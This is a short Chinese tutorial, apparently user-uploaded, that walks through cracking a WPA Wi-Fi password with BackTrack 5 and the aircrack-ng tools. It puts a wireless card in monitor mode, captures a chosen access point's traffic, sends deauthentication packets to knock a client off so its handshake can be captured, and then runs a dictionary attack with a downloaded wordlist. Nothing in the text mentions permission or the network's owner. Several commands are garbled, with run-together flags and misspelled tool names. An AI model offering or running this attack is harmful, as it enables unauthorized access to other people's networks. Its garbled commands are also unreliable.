1、在虛擬機中打開BT5系統(tǒng)，在BT5中打開終端，用命令檢測無線網(wǎng)卡是否存在。終端輸入命令：iwconfig，如果BT5支持的話一般是wlan0。

2、在BT5中，打開internet——wicd網(wǎng)絡管理器，掃描現(xiàn)有無線網(wǎng)絡；

3、選擇一個信號良好的無線網(wǎng)絡，然后單擊屬性查看AP的基本信息。

【資料圖】

4、打開終端，輸入命令：airmon-ng start wlan0 6，意思是打開第六個通道的wlan0的監(jiān)聽模式；

5、監(jiān)控選中的AP:airodump-ng-wne new-C4-BSSID AP的MAC Mon0，其中MAC是上一步圖中圈出的部分。

6、根據(jù)上一步的圖，我們可以找到很多Client客戶端的MAC地址，從中選擇任意一個(最好選擇活動的)。打開一個新的終端，不要關(guān)閉上一個終端，以后還會用到。

7、In the new terminal, enter: airplay-ng-0 11-a AP"s MAC -c CP"s MAC mon0.

8、其中：-0:表示采用deauth攻擊方式，后面是攻擊次數(shù)；-a后跟AP的mac地址；-c后跟客戶端的mac地址；

9、執(zhí)行一次，看看下圖所示的標志W(wǎng)AP握手是否出現(xiàn)在第一個終端中。如果出現(xiàn)了，那么恭喜你，你離成功不遠了。

10、如果沒有出現(xiàn)，就重復命令(airplay-ng-011-a AP的MAC-c CP的MAC Mon0)直到出現(xiàn)握手。

11、破解BT5握手捕獲的數(shù)據(jù)包：

12、終端輸入：aircrack-ng -w password.txt -b AP的MAC nenew.cap

13、其中password.txt是我們需要預置的字典文件。網(wǎng)上有很多字典文件，搜索就能找到。Nenew.cap是捕獲的包文件。保存后可能是nenew-01.cap。

本文到此結(jié)束，希望對大家有所幫助。

本文由用戶上傳，如有侵權(quán)請聯(lián)系刪除！

關(guān)鍵詞：